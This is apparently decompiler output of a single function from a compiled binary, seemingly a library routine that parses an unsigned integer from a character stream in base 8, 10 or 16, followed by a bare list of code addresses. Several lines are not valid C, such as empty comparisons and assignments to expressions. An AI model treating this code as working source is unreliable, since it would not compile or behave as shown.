				signed int _t510;
				int _t513;
				signed char _t516;
				signed char _t517;
				signed char _t524;
				signed char _t525;
				signed int _t531;
				signed int _t532;
				signed char _t533;
				signed int _t536;
				signed int _t538;
				void* _t541;
				void* _t542;
				void* _t544;

				_t536 = 8;
				_t467 = _a20;
				_v124 = _t467 + 0x6c;
				_t541 = E0044E1C0(__eflags);
				_t544 = _t542 - 0x68;
				_t355 =  *(_t467 + 0xc) & 0x0000004a;
				_v76 = _t355;
				if(_t355 != 0x40) {
					_t355 =  ==  ? 0x10 : 0xa;
					_t536 = 0xa;
				}
				_t481 = _a4;
				_t468 = _t467 & 0xffffff00 | _a8 == 0xffffffff;
				_t510 = (0 | _t481 != 0x00000000) & _t468;
				if(_t510 != 0) {
					_t468 = 0;
					_t355 =  *(_t481 + 0xc);
					__eflags =  *((intOrPtr*)(_t481 + 8)) - _t355;
					if( *((intOrPtr*)(_t481 + 8)) >= _t355) {
						_v68 = _t510;
						_t355 =  *((intOrPtr*)( *_t481 + 0x24))();
						_t510 = _v68 & 0x000000ff;
						__eflags = _t355 - 0xffffffff;
						if(_t355 == 0xffffffff) {
							_a4 = 0;
							_t468 = _t510;
						}
					}
				}
				_t482 = _a12;
				_t511 = _t510 & 0xffffff00 | _a16 == 0xffffffff;
				_t357 = (_t355 & 0xffffff00 | _t482 != 0x00000000) & _t511;
				_v68 = _t357;
				if(_t357 != 0) {
					_t511 = 0;
					__eflags =  *((intOrPtr*)(_t482 + 8)) -  *((intOrPtr*)(_t482 + 0xc));
					if( *((intOrPtr*)(_t482 + 8)) >=  *((intOrPtr*)(_t482 + 0xc))) {
						_v72 = 0;
						_t464 =  *((intOrPtr*)( *_t482 + 0x24))();
						_t511 = _v72 & 0x000000ff;
						__eflags = _t464 - 0xffffffff;
						if(_t464 == 0xffffffff) {
							_a12 = 0;
							_t511 = _v68 & 0x000000ff;
						}
					}
				}
				if(_t511 == _t468) {
					_v84 = 0;
					_t469 = 0;
					_v81 = 1;
					_v72 = 0;
					_v68 = 0;
					goto L15;
				} else {
					_t469 = _a8;
					_t498 = _a4;
					if(_t469 != 0xffffffff || _t498 == 0) {
						L7:
						_t528 =  *(_t541 + 0x4a) & 0x000000ff;
						_t434 =  *(_t541 + 0x10) & 0x000000ff;
						_t23 =  &_v84;
						 *_t23 = ( *(_t541 + 0x4a) & 0x000000ff) == _t469;
						if( *_t23 == 0) {
							goto L9;
						}
						goto L8;
					} else {
						_t460 =  *(_t498 + 8);
						__eflags = _t460 -  *((intOrPtr*)(_t498 + 0xc));
						if(_t460 >=  *((intOrPtr*)(_t498 + 0xc))) {
							_t462 =  *((intOrPtr*)( *_t498 + 0x24))();
							__eflags = _t462 - 0xffffffff;
							if(_t462 == 0xffffffff) {
								_a4 = 0;
								_t469 = 0xffffffff;
							} else {
								_t469 = _t462;
							}
							goto L7;
						}
						_t469 =  *_t460 & 0x000000ff;
						_t528 =  *(_t541 + 0x4a) & 0x000000ff;
						_t434 =  *(_t541 + 0x10) & 0x000000ff;
						__eflags = ( *(_t541 + 0x4a) & 0x000000ff) - _t469;
						_t305 =  &_v84;
						 *_t305 = ( *(_t541 + 0x4a) & 0x000000ff) == _t469;
						__eflags =  *_t305;
						if( *_t305 != 0) {
							L8:
							if( *((intOrPtr*)(_t541 + 0x4b)) != _t469) {
								_v84 = 0;
								L44:
								_v72 = 0;
								_v68 = 0;
								_v80 = _v76;
								goto L45;
								L46:
								__eflags =  *((intOrPtr*)(_t541 + 0x25)) - _t469;
								if( *((intOrPtr*)(_t541 + 0x25)) == _t469) {
									L98:
									_v81 = 0;
									L15:
									_v80 = 0x16;
									if(_t536 == 0x10) {
										L17:
										_v48 = 0;
										_v52 =  &_v44;
										_v44 = 0;
										if( *(_t541 + 0x10) != 0) {
											_v124 = 0x20;
											E004B2380( &_v52);
											_t544 = _t544 - 4;
										}
										asm("cdq");
										_v88 = 0xffff / _t536;
										_t363 =  *(_t541 + 0x64) & 0x000000ff;
										_v82 = _t363;
										if(_t363 != 0) {
											__eflags = _v81;
											if(_v81 != 0) {
												_t470 = _v48;
												_v83 = 0;
												_v81 = 0;
												_v82 = _v81 & 0x000000ff;
												_v76 = 0;
												goto L33;
											}
											_t205 = _t541 + 0x4e; // 0x4e
											_v83 = 0;
											_v92 = _t205;
											__eflags = 0;
											_v76 = 0;
											while(1) {
												_t387 =  *(_t541 + 0x10) & 0x000000ff;
												__eflags = _t387;
												if(_t387 == 0) {
													goto L103;
												}
												__eflags =  *((intOrPtr*)(_t541 + 0x25)) - _t469;
												if( *((intOrPtr*)(_t541 + 0x25)) == _t469) {
													_t491 = _v72;
													_t470 = _v48;
													__eflags = _t491;
													if(_t491 == 0) {
														_v82 = 0;
														_v81 = _t387;
														goto L33;
													}
													_t410 = _v52;
													_v72 = _t491;
													_t266 = _t470 + 1; // 0x1
													_t492 = _t266;
													_v96 = _t492;
													__eflags = _t410 -  &_v44;
													_t520 =  !=  ? _v44 : 0xf;
													__eflags = _t492 - ( !=  ? _v44 : 0xf);
													if(_t492 > ( !=  ? _v44 : 0xf)) {
														 *((intOrPtr*)(_t544 + 0xc)) = 1;
														_v116 = 0;
														_v120 = 0;
														_v124 = _t470;
														E004B26D0( &_v52);
														_t544 = _t544 - 0x10;
														_t410 = _v52;
													}
													_v72 = 0;
													 *((char*)(_t410 + _t470)) = _v72 & 0x000000ff;
													_t516 = _v96;
													_v48 = _t516;
													 *((char*)(_v52 + _t516)) = 0;
													L107:
													_t487 = _a4;
													_t394 =  *(_t487 + 8);
													__eflags = _t394 -  *((intOrPtr*)(_t487 + 0xc));
													if(_t394 >=  *((intOrPtr*)(_t487 + 0xc))) {
														L114:
														 *((intOrPtr*)( *_t487 + 0x28))();
														_t487 = _a4;
														_a8 = 0xffffffff;
														__eflags = _t487;
														if(_t487 != 0) {
															L109:
															_v96 = 0;
															__eflags =  *(_t487 + 8) -  *((intOrPtr*)(_t487 + 0xc));
															if( *(_t487 + 8) >=  *((intOrPtr*)(_t487 + 0xc))) {
																_t398 =  *((intOrPtr*)( *_t487 + 0x24))();
																_v96 = 0;
																__eflags = _t398 - 0xffffffff;
																if(_t398 == 0xffffffff) {
																	_a4 = 0;
																	_v96 = _v82 & 0x000000ff;
																}
															}
															L110:
															_t488 = _a12;
															__eflags = _a16 - 0xffffffff;
															_t517 = _t516 & 0xffffff00 | _a16 == 0xffffffff;
															__eflags = _t488;
															_t475 = (_t473 & 0xffffff00 | _t488 != 0x00000000) & _t517;
															__eflags = _t475;
															if(_t475 != 0) {
																_t517 = 0;
																__eflags =  *((intOrPtr*)(_t488 + 8)) -  *((intOrPtr*)(_t488 + 0xc));
																if( *((intOrPtr*)(_t488 + 8)) >=  *((intOrPtr*)(_t488 + 0xc))) {
																	_t404 =  *((intOrPtr*)( *_t488 + 0x24))();
																	_t517 = 0;
																	__eflags = _t404 - 0xffffffff;
																	if(_t404 == 0xffffffff) {
																		_a12 = 0;
																		_t517 = _t475;
																	}
																}
															}
															__eflags = _t517 - _v96;
															if(_t517 != _v96) {
																_t489 = _a4;
																_t469 = _a8;
																__eflags = _t489;
																if(_t489 != 0) {
																	__eflags = _t469 - 0xffffffff;
																	if(_t469 == 0xffffffff) {
																		_t400 =  *(_t489 + 8);
																		__eflags = _t400 -  *((intOrPtr*)(_t489 + 0xc));
																		if(_t400 >=  *((intOrPtr*)(_t489 + 0xc))) {
																			_t402 =  *((intOrPtr*)( *_t489 + 0x24))();
																			_t469 = _t402;
																			__eflags = _t402 - 0xffffffff;
																			if(_t402 == 0xffffffff) {
																				_a4 = 0;
																				_t469 = 0xffffffff;
																			}
																		} else {
																			_t469 =  *_t400 & 0x000000ff;
																		}
																	}
																}
																continue;
															} else {
																_t470 = _v48;
																goto L33;
															}
														}
														_v96 = _v82 & 0x000000ff;
														goto L110;
													}
													L108:
													_t395 = _t394 + 1;
													__eflags = _t395;
													_a8 = 0xffffffff;
													 *(_t487 + 8) = _t395;
													goto L109;
												}
												L103:
												__eflags = _t469 -  *((intOrPtr*)(_t541 + 0x24));
												if(_t469 ==  *((intOrPtr*)(_t541 + 0x24))) {
													goto L73;
												}
												_t390 = memchr(_v92, _t469, _v80);
												__eflags = _t390;
												if(_t390 == 0) {
													goto L73;
												}
												_t391 = _t390 - _v92;
												_t473 = _v76 & 0x0000ffff;
												_t516 = _t391 - 6;
												__eflags = _t391 - 0xf;
												_t392 =  >  ? _t516 : _t391;
												__eflags = _v88 - _t473;
												if(_v88 < _t473) {
													_t487 = _a4;
													_v83 = _v82 & 0x000000ff;
													_t394 =  *(_t487 + 8);
													__eflags = _t394 -  *((intOrPtr*)(_t487 + 0xc));
													if(_t394 <  *((intOrPtr*)(_t487 + 0xc))) {
														goto L108;
													}
													goto L114;
												}
												_t473 = _t473 * _t536;
												__eflags = (_t473 & 0x0000ffff) - 0xffff;
												_t516 = 0x0000ffff - _t392 & 0xffffff00 | (_t473 & 0x0000ffff) - 0x0000ffff > 0x00000000;
												_v83 = _v83 | _t516;
												_t224 =  &_v72;
												 *_t224 = _v72 + 1;
												__eflags =  *_t224;
												_v76 = _t392 + _t473;
												goto L107;
											}
										} else {
											if(_v81 != 0) {
												_t470 = _v48;
												_v83 = 0;
												_v81 = 0;
												_v82 = _v81 & 0x000000ff;
												_v76 = 0;
												goto L33;
											} else {
												_v83 = 0;
												_v76 = 0;
												_v92 = (_v80 & 0x000000ff) + 0x30;
												while(1) {
													_t524 = _t469;
													if(_v80 > 0xa) {
														goto L70;
													}
													L22:
													if(_t469 <= 0x2f || _v92 <= _t469) {
														L73:
														_v82 = 0;
														__eflags = _v48;
														if(_v48 == 0) {
															goto L34;
														}
														goto L74;
													} else {
														L24:
														_t418 = _t524 - 0x30;
														L25:
														if(_t418 == 0xffffffff) {
															goto L73;
														}
														L26:
														_t476 = _v76 & 0x0000ffff;
														if(_v88 < _t476) {
															_t494 = _a4;
															_v83 = 1;
															_t419 =  *((intOrPtr*)(_t494 + 8));
															__eflags = _t419 -  *((intOrPtr*)(_t494 + 0xc));
															if(_t419 <  *((intOrPtr*)(_t494 + 0xc))) {
																L28:
																_a8 = 0xffffffff;
																 *((intOrPtr*)(_t494 + 8)) = _t419 + 1;
																L29:
																_v82 = 0;
																if( *((intOrPtr*)(_t494 + 8)) >=  *((intOrPtr*)(_t494 + 0xc))) {
																	_t423 =  *((intOrPtr*)( *_t494 + 0x24))();
																	_v82 = 0;
																	__eflags = _t423 - 0xffffffff;
																	if(_t423 == 0xffffffff) {
																		_a4 = 0;
																		_v82 = 1;
																	}
																}
																L30:
																_t495 = _a12;
																_t525 = _t524 & 0xffffff00 | _a16 == 0xffffffff;
																_t478 = (_t476 & 0xffffff00 | _t495 != 0x00000000) & _t525;
																if(_t478 != 0) {
																	_t525 = 0;
																	__eflags =  *((intOrPtr*)(_t495 + 8)) -  *((intOrPtr*)(_t495 + 0xc));
																	if( *((intOrPtr*)(_t495 + 8)) >=  *((intOrPtr*)(_t495 + 0xc))) {
																		_t433 =  *((intOrPtr*)( *_t495 + 0x24))();
																		_t525 = 0;
																		__eflags = _t433 - 0xffffffff;
																		if(_t433 == 0xffffffff) {
																			_a12 = 0;
																			_t525 = _t478;
																		}
																	}
																}
																if(_v82 != _t525) {
																	_t469 = _a8;
																	_t496 = _a4;
																	__eflags = _t469 - 0xffffffff;
																	if(_t469 != 0xffffffff) {
																		while(1) {
																			_t524 = _t469;
																			if(_v80 > 0xa) {
																				goto L70;
																			}
																			goto L22;
																		}
																	}
																	__eflags = _t496;
																	if(_t496 == 0) {
																		while(1) {
																			_t524 = _t469;
																			if(_v80 > 0xa) {
																				goto L70;
																			}
																			goto L22;
																		}
																	}
																	_t425 =  *(_t496 + 8);
																	__eflags = _t425 -  *((intOrPtr*)(_t496 + 0xc));
																	if(_t425 >=  *((intOrPtr*)(_t496 + 0xc))) {
																		_t427 =  *((intOrPtr*)( *_t496 + 0x24))();
																		_t469 = _t427;
																		__eflags = _t427 - 0xffffffff;
																		if(_t427 != 0xffffffff) {
																			continue;
																		}
																		__eflags = _v80 - 0xa;
																		_a4 = 0;
																		if(_v80 <= 0xa) {
																			goto L73;
																		}
																		_t469 = 0xffffffff;
																		_t524 = 0xffffffff;
																		L71:
																		_t156 = _t469 - 0x61; // 0x9e
																		__eflags = _t156 - 5;
																		if(_t156 > 5) {
																			__eflags = _t469 - 0x41 - 5;
																			if(_t469 - 0x41 > 5) {
																				goto L73;
																			} else {
																				_t418 = _t524 - 0x37;
																				goto L25;
																			}
																		}
																		_t418 = _t524 - 0x57;
																		__eflags = _t418 - 0xffffffff;
																		if(_t418 != 0xffffffff) {
																			goto L26;
																		}
																		goto L73;
																	} else {
																		_t469 =  *_t425 & 0x000000ff;
																		while(1) {
																			_t524 = _t469;
																			if(_v80 > 0xa) {
																				goto L70;
																			}
																			goto L22;
																		}
																	}
																} else {
																	_v82 = 1;
																	_t470 = _v48;
																	L33:
																	if(_t470 != 0) {
																		L74:
																		_v124 = _v72;
																		E004B2860( &_v52);
																		_v120 =  &_v52;
																		_v124 =  *((intOrPtr*)(_t541 + 0xc));
																		_v128 =  *((intOrPtr*)(_t541 + 8));
																		_t371 = E004BE6E0();
																		__eflags = _t371;
																		if(_t371 == 0) {
																			 *_a24 = 4;
																		}
																		__eflags = _v68;
																		if(_v68 != 0) {
																			L77:
																			__eflags = _v81;
																			if(_v81 != 0) {
																				goto L36;
																			} else {
																				__eflags = _v83;
																				if(_v83 == 0) {
																					_t538 = _v76 & 0x0000ffff;
																					__eflags = _v84;
																					_t379 =  ==  ? _t538 :  ~_t538;
																					 *_a28 =  ==  ? _t538 :  ~_t538;
																				} else {
																					 *_a28 = 0xffffffff;
																					 *_a24 = 4;
																				}
																				goto L37;
																			}
																		} else {
																			__eflags = _v72 | _v48;
																			if((_v72 | _v48) == 0) {
																				L36:
																				 *_a28 = 0;
																				 *_a24 = 4;
																				L37:
																				if(_v82 != 0) {
																					 *_a24 =  *_a24 | 0x00000002;
																				}
																				_t486 = _v52;
																				_t375 = _a4;
																				_t513 = _a8;
																				if(_t486 !=  &_v44) {
																					_v124 = _t486;
																					_v68 = _t375;
																					_v64 = _t513;
																					L004C33F0();
																					_t375 = _v68;
																				}
																				return _t375;
																			}
																			goto L77;
																		}
																	}
																	L34:
																	if(_v72 != 0 || _v68 == 1) {
																		goto L77;
																	} else {
																		goto L36;
																	}
																}
															}
															L81:
															 *((intOrPtr*)( *_t494 + 0x28))();
															_t494 = _a4;
															_a8 = 0xffffffff;
															__eflags = _t494;
															if(_t494 != 0) {
																goto L29;
															} else {
																_v82 = 1;
																goto L30;
															}
														}
														_t476 = _t476 * _t536;
														_t494 = _a4;
														_t524 = 0x0000ffff - _t418 & 0xffffff00 | (_t476 & 0x0000ffff) - 0x0000ffff > 0x00000000;
														_v83 = _v83 | _t524;
														_v76 = _t418 + _t476;
														_t419 =  *((intOrPtr*)(_t494 + 8));
														_v72 = _v72 + 1;
														if(_t419 >=  *((intOrPtr*)(_t494 + 0xc))) {
															goto L81;
														}
														goto L28;
													}
													L70:
													_t155 = _t469 - 0x30; // 0xcf
													__eflags = _t155 - 9;
													if(_t155 <= 9) {
														goto L24;
													}
													goto L71;
												}
											}
										}
									}
									L16:
									_v80 = _t536;
									goto L17;
								}
								L47:
								__eflags =  *((intOrPtr*)(_t541 + 0x24)) - _t469;
								if( *((intOrPtr*)(_t541 + 0x24)) == _t469) {
									goto L98;
								}
								__eflags =  *((intOrPtr*)(_t541 + 0x4e)) - _t469;
								if( *((intOrPtr*)(_t541 + 0x4e)) == _t469) {
									_t531 = _v68 & 0x000000ff ^ 0x00000001;
									__eflags = _t536 - 0xa;
									_t434 = _t434 & 0xffffff00 | _t536 == 0x0000000a | _t531;
									__eflags = _t434;
									if(_t434 == 0) {
										L50:
										__eflags =  *((intOrPtr*)(_t541 + 0x4c)) - _t469;
										if( *((intOrPtr*)(_t541 + 0x4c)) == _t469) {
											L52:
											_t532 = _v80;
											_t536 - 0x10 = _t532;
											_t533 = _t532 & 0xffffff00 | _t532 == 0x00000000;
											_t437 = _t434 & 0xffffff00 | _t536 == 0x00000010 | _t533;
											__eflags = _t437;
											if(_t437 == 0) {
												_v81 = _t437;
												_v68 = 1;
												goto L16;
											} else {
												_v72 = 0;
												_t536 = 0x10;
												_v68 = 0;
												L54:
												_t499 = _a4;
												_t438 =  *(_t499 + 8);
												__eflags = _t438 -  *((intOrPtr*)(_t499 + 0xc));
												if(_t438 >=  *((intOrPtr*)(_t499 + 0xc))) {
													L64:
													 *((intOrPtr*)( *_t499 + 0x28))();
													_t500 = _a4;
													_a8 = 0xffffffff;
													__eflags = _t500;
													if(_t500 != 0) {
														L56:
														_v76 = 0;
														_t441 =  *(_t500 + 0xc);
														__eflags =  *(_t500 + 8) - _t441;
														if( *(_t500 + 8) >= _t441) {
															_t441 =  *((intOrPtr*)( *_t500 + 0x24))();
															__eflags = _t441 - 0xffffffff;
															if(_t441 == 0xffffffff) {
																_a4 = 0;
																_v76 = 1;
															}
														}
														goto L57;
													} else {
														_v76 = 1;
														L57:
														_t501 = _a12;
														__eflags = _a16 - 0xffffffff;
														_t534 = _t533 & 0xffffff00 | _a16 == 0xffffffff;
														__eflags = _t501;
														_t444 = (_t441 & 0xffffff00 | _t501 != 0x00000000) & _t534;
														__eflags = _t444;
														_v81 = _t444;
														if(_t444 != 0) {
															_t534 = 0;
															__eflags =  *((intOrPtr*)(_t501 + 8)) -  *((intOrPtr*)(_t501 + 0xc));
															if( *((intOrPtr*)(_t501 + 8)) >=  *((intOrPtr*)(_t501 + 0xc))) {
																_v82 = 0;
																_t450 =  *((intOrPtr*)( *_t501 + 0x24))();
																_t534 = _v82 & 0x000000ff;
																__eflags = _t450 - 0xffffffff;
																if(_t450 == 0xffffffff) {
																	_a12 = 0;
																	_t534 = _v81 & 0x000000ff;
																}
															}
														}
														__eflags = _v76 - _t534;
														if(_v76 != _t534) {
															_t502 = _a4;
															_t469 = _a8;
															__eflags = _t502;
															if(_t502 != 0) {
																__eflags = _t469 - 0xffffffff;
																if(_t469 == 0xffffffff) {
																	_t446 =  *(_t502 + 8);
																	__eflags = _t446 -  *((intOrPtr*)(_t502 + 0xc));
																	if(_t446 >=  *((intOrPtr*)(_t502 + 0xc))) {
																		_t448 =  *((intOrPtr*)( *_t502 + 0x24))();
																		__eflags = _t448 - 0xffffffff;
																		if(_t448 == 0xffffffff) {
																			_a4 = 0;
																			_t469 = 0xffffffff;
																		} else {
																			_t469 = _t448;
																		}
																	} else {
																		_t469 =  *_t446 & 0x000000ff;
																	}
																}
															}
															__eflags = _v68;
															if(_v68 == 0) {
																goto L98;
															} else {
																_t434 =  *(_t541 + 0x10) & 0x000000ff;
																L45:
																__eflags = _t434;
																if(_t434 == 0) {
																	goto L47;
																}
																goto L46;
															}
														} else {
															_v81 = 1;
															goto L15;
														}
													}
												}
												L55:
												_t451 = _t438 + 1;
												__eflags = _t451;
												_a8 = 0xffffffff;
												 *(_t500 + 8) = _t451;
												goto L56;
											}
										}
										__eflags =  *((intOrPtr*)(_t541 + 0x4d)) - _t469;
										if( *((intOrPtr*)(_t541 + 0x4d)) != _t469) {
											_v81 = 0;
											_v68 = 1;
											goto L15;
										}
										goto L52;
									}
									_t503 = _v80;
									_t503 = _t536 - 8;
									_t533 = _t531 & 0xffffff00 | _t536 == 0x00000008;
									_t505 = _t503 & 0xffffff00 | _t503 == 0x00000000 | _t533;
									__eflags = _t505;
									_v68 = _t505;
									if(_t505 == 0) {
										_v72 = _v72 + 1;
										_v68 = _t434;
										goto L54;
									}
									_t500 = _a4;
									_v72 = 0;
									_t536 = 8;
									_t438 =  *(_t500 + 8);
									__eflags = _t438 -  *(_t500 + 0xc);
									if(_t438 <  *(_t500 + 0xc)) {
										goto L55;
									} else {
										goto L64;
									}
								}
								__eflags = _v68;
								if(_v68 == 0) {
									goto L98;
								}
								goto L50;
							}
							L9:
							if(_t434 != 0) {
								__eflags =  *((intOrPtr*)(_t541 + 0x25)) - _t469;
								if( *((intOrPtr*)(_t541 + 0x25)) != _t469) {
									goto L10;
								} else {
									goto L44;
								}
							}
							L10:
							if( *((intOrPtr*)(_t541 + 0x24)) == _t469) {
								goto L44;
							}
							_t506 = _a4;
							_t452 =  *((intOrPtr*)(_t506 + 8));
							if(_t452 >=  *((intOrPtr*)(_t506 + 0xc))) {
								 *((intOrPtr*)( *_t506 + 0x28))();
							} else {
								 *((intOrPtr*)(_t506 + 8)) = _t452 + 1;
							}
							_a8 = 0xffffffff;
							_v124 =  &_a12;
							_t456 = E00450A90( &_a12,  &_a4, _t528);
							_v72 = 0;
							_t544 = _t544 - 4;
							_v81 = _t456;
							_v68 = 0;
							if(_t456 == 0) {
								_t469 = E00450B30( &_a4, _a8);
								_t434 =  *(_t541 + 0x10) & 0x000000ff;
								goto L44;
							} else {
								goto L15;
							}
						}
						goto L9;
					}
				}
			}

0x004669b4
0x004669c1
0x004669c7
0x004669cf
0x004669d4
0x004669d7
0x004669da
0x004669e0
0x004669ef
0x004669f2
0x004669f2
0x004669f4
0x004669fb
0x00466a03
0x00466a05
0x00467193
0x00467195
0x00467198
0x0046719b
0x004671a3
0x004671a6
0x004671a9
0x004671ad
0x004671b0
0x004671b6
0x004671bd
0x004671bd
0x004671b0
0x0046719b
0x00466a0b
0x00466a12
0x00466a1a
0x00466a1c
0x00466a1f
0x00467160
0x00467165
0x00467168
0x00467170
0x00467173
0x00467176
0x0046717a
0x0046717d
0x00467183
0x0046718a
0x0046718a
0x0046717d
0x00467168
0x00466a27
0x00467100
0x00467104
0x00467106
0x0046710a
0x00467111
0x00000000
0x00466a2d
0x00466a2d
0x00466a30
0x00466a36
0x00466a40
0x00466a40
0x00466a44
0x00466a4a
0x00466a4a
0x00466a4e
0x00000000
0x00000000
0x00000000
0x004671f0
0x004671f0
0x004671f3
0x004671f6
0x00467321
0x00467324
0x00467327
0x004673a8
0x004673af
0x00467329
0x00467329
0x00467329
0x00000000
0x00467327
0x004671fc
0x004671ff
0x00467203
0x00467207
0x00467209
0x00467209
0x00467209
0x0046720d
0x00466a50
0x00466a53
0x00467220
0x00466c30
0x00466c33
0x00466c3a
0x00466c3e
0x00466c3e
0x00466c45
0x00466c45
0x00466c48
0x00466f40
0x00466f40
0x00466ab0
0x00466ab0
0x00466aba
0x00466abf
0x00466ac6
0x00466acd
0x00466ad0
0x00466ad4
0x00467120
0x0046712a
0x0046712f
0x0046712f
0x00466adf
0x00466ae2
0x00466ae5
0x00466ae9
0x00466aee
0x00466f50
0x00466f54
0x00467372
0x00467375
0x00467379
0x0046737d
0x00467382
0x00000000
0x00467382
0x00466f5a
0x00466f5d
0x00466f61
0x00466f64
0x00466f66
0x00466f6a
0x00466f6a
0x00466f6e
0x00466f70
0x00000000
0x00000000
0x00466f72
0x00466f75
0x004670b0
0x004670b3
0x004670b6
0x004670b8
0x0046738b
0x0046738f
0x00000000
0x0046738f
0x004670be
0x004670c4
0x004670c7
0x004670c7
0x004670ca
0x004670cd
0x004670d4
0x004670d8
0x004670da
0x00467262
0x0046726d
0x00467275
0x0046727d
0x00467280
0x00467285
0x00467288
0x00467288
0x004670e4
0x004670eb
0x004670ee
0x004670f4
0x004670f7
0x00466fda
0x00466fda
0x00466fdd
0x00466fe0
0x00466fe3
0x00467034
0x00467036
0x00467039
0x0046703c
0x00467043
0x00467045
0x00466ff2
0x00466ff2
0x00466ff9
0x00466ffc
0x004672f2
0x004672f5
0x004672f9
0x004672fc
0x00467306
0x0046730d
0x0046730d
0x004672fc
0x00467002
0x00467002
0x00467005
0x00467009
0x0046700c
0x00467011
0x00467011
0x00467013
0x00467080
0x00467085
0x00467088
0x0046708c
0x0046708f
0x00467091
0x00467094
0x0046709a
0x004670a1
0x004670a1
0x00467094
0x00467088
0x00467015
0x00467018
0x00467050
0x00467053
0x00467056
0x00467058
0x0046705e
0x00467061
0x00467067
0x0046706a
0x0046706d
0x00467332
0x00467335
0x00467337
0x0046733a
0x00467340
0x00467347
0x00467347
0x00467073
0x00467073
0x00467073
0x0046706d
0x00467061
0x00000000
0x0046701a
0x0046701a
0x00000000
0x0046701a
0x00467018
0x0046704b
0x00000000
0x0046704b
0x00466fe5
0x00466fe5
0x00466fe5
0x00466fe8
0x00466fef
0x00000000
0x00466fef
0x00466f7b
0x00466f7b
0x00466f7e
0x00000000
0x00000000
0x00466f98
0x00466f9d
0x00466f9f
0x00000000
0x00000000
0x00466fa5
0x00466fa8
0x00466fac
0x00466faf
0x00466fb2
0x00466fb5
0x00466fb9
0x00467026
0x00467029
0x0046702c
0x0046702f
0x00467032
0x00000000
0x00000000
0x00000000
0x00467032
0x00466fbb
0x00466fc8
0x00466fca
0x00466fcf
0x00466fd2
0x00466fd2
0x00466fd2
0x00466fd6
0x00000000
0x00466fd6
0x00466af4
0x00466af8
0x00467357
0x0046735a
0x0046735e
0x00467362
0x00467365
0x00000000
0x00466afe
0x00466b00
0x00466b04
0x00466b0f
0x00466b12
0x00466b16
0x00466b19
0x00000000
0x00000000
0x00466b1f
0x00466b22
0x00466db2
0x00466db5
0x00466db9
0x00466dbb
0x00000000
0x00000000
0x00000000
0x00466b31
0x00466b31
0x00466b31
0x00466b34
0x00466b37
0x00000000
0x00000000
0x00466b3d
0x00466b3d
0x00466b45
0x00466e33
0x00466e36
0x00466e3a
0x00466e3d
0x00466e40
0x00466b79
0x00466b7c
0x00466b83
0x00466b86
0x00466b86
0x00466b90
0x00467242
0x00467245
0x00467249
0x0046724c
0x00467252
0x00467259
0x00467259
0x0046724c
0x00466b96
0x00466b96
0x00466b9d
0x00466ba5
0x00466ba7
0x00466ed0
0x00466ed5
0x00466ed8
0x00466ee0
0x00466ee3
0x00466ee5
0x00466ee8
0x00466eee
0x00466ef5
0x00466ef5
0x00466ee8
0x00466ed8
0x00466bb0
0x00466ea3
0x00466ea6
0x00466ea9
0x00466eac
0x00466b12
0x00466b16
0x00466b19
0x00000000
0x00000000
0x00000000
0x00466b19
0x00466b12
0x00466eb2
0x00466eb4
0x00466b12
0x00466b16
0x00466b19
0x00000000
0x00000000
0x00000000
0x00466b19
0x00466b12
0x00466eba
0x00466ebd
0x00466ec0
0x004672c0
0x004672c3
0x004672c5
0x004672c8
0x00000000
0x00000000
0x004672ce
0x004672d2
0x004672d9
0x00000000
0x00000000
0x004672df
0x004672e4
0x00466d9b
0x00466d9b
0x00466d9e
0x00466da0
0x00466f03
0x00466f06
0x00000000
0x00466f0c
0x00466f0c
0x00000000
0x00466f0c
0x00466f06
0x00466da6
0x00466da9
0x00466dac
0x00000000
0x00000000
0x00000000
0x00466ec6
0x00466ec6
0x00466b12
0x00466b16
0x00466b19
0x00000000
0x00000000
0x00000000
0x00466b19
0x00466b12
0x00466bb6
0x00466bb6
0x00466bba
0x00466bbd
0x00466bbf
0x00466dc1
0x00466dc8
0x00466dcb
0x00466dd6
0x00466ddd
0x00466de4
0x00466de7
0x00466dec
0x00466dee
0x004671e3
0x004671e3
0x00466df4
0x00466df8
0x00466e06
0x00466e06
0x00466e0a
0x00000000
0x00466e10
0x00466e10
0x00466e14
0x004671c4
0x004671cc
0x004671d0
0x004671d6
0x00466e1a
0x00466e22
0x00466e28
0x00466e28
0x00000000
0x00466e14
0x00466dfa
0x00466dfd
0x00466e00
0x00466bda
0x00466bdf
0x00466be5
0x00466beb
0x00466bef
0x00466bf4
0x00466bf4
0x00466bf7
0x00466bfd
0x00466c00
0x00466c05
0x00466c07
0x00466c0a
0x00466c0d
0x00466c10
0x00466c15
0x00466c18
0x00466c22
0x00466c22
0x00000000
0x00466e00
0x00466df8
0x00466bc5
0x00466bca
0x00000000
0x00000000
0x00000000
0x00000000
0x00466bca
0x00466bb0
0x00466e46
0x00466e48
0x00466e4b
0x00466e4e
0x00466e55
0x00466e57
0x00000000
0x00466e5d
0x00466e5d
0x00000000
0x00466e5d
0x00466e57
0x00466b4b
0x00466b5a
0x00466b5d
0x00466b62
0x00466b65
0x00466b69
0x00466b6c
0x00466b73
0x00000000
0x00000000
0x00000000
0x00466b73
0x00466d90
0x00466d90
0x00466d93
0x00466d95
0x00000000
0x00000000
0x00000000
0x00466d95
0x00466b12
0x00466af8
0x00466aee
0x00466abc
0x00466abc
0x00000000
0x00466abc
0x00466c4e
0x00466c4e
0x00466c51
0x00000000
0x00000000
0x00466c57
0x00466c5a
0x00466cf6
0x00466cf9
0x00466cff
0x00466cff
0x00466d01
0x00466c6a
0x00466c6a
0x00466c6d
0x00466c78
0x00466c78
0x00466c81
0x00466c83
0x00466c86
0x00466c86
0x00466c88
0x0046729d
0x004672a0
0x00000000
0x00466c8e
0x00466c8e
0x00466c95
0x00466c9a
0x00466c9e
0x00466c9e
0x00466ca1
0x00466ca4
0x00466ca7
0x00466d40
0x00466d42
0x00466d45
0x00466d48
0x00466d4f
0x00466d51
0x00466cba
0x00466cba
0x00466cbe
0x00466cc1
0x00466cc4
0x00467142
0x00467145
0x00467148
0x0046714e
0x00467155
0x00467155
0x00467148
0x00000000
0x00466d57
0x00466d57
0x00466cca
0x00466cca
0x00466ccd
0x00466cd1
0x00466cd4
0x00466cd9
0x00466cd9
0x00466cdb
0x00466cde
0x00466e70
0x00466e75
0x00466e78
0x00466e80
0x00466e83
0x00466e86
0x00466e8a
0x00466e8d
0x00466e93
0x00466e9a
0x00466e9a
0x00466e8d
0x00466e78
0x00466ce4
0x00466ce7
0x00466d60
0x00466d63
0x00466d66
0x00466d68
0x00466d6a
0x00466d6d
0x00466f14
0x00466f17
0x00466f1a
0x004672ab
0x004672ae
0x004672b1
0x00467397
0x0046739e
0x004672b7
0x004672b7
0x004672b7
0x00466f20
0x00466f20
0x00466f20
0x00466f1a
0x00466d6d
0x00466d73
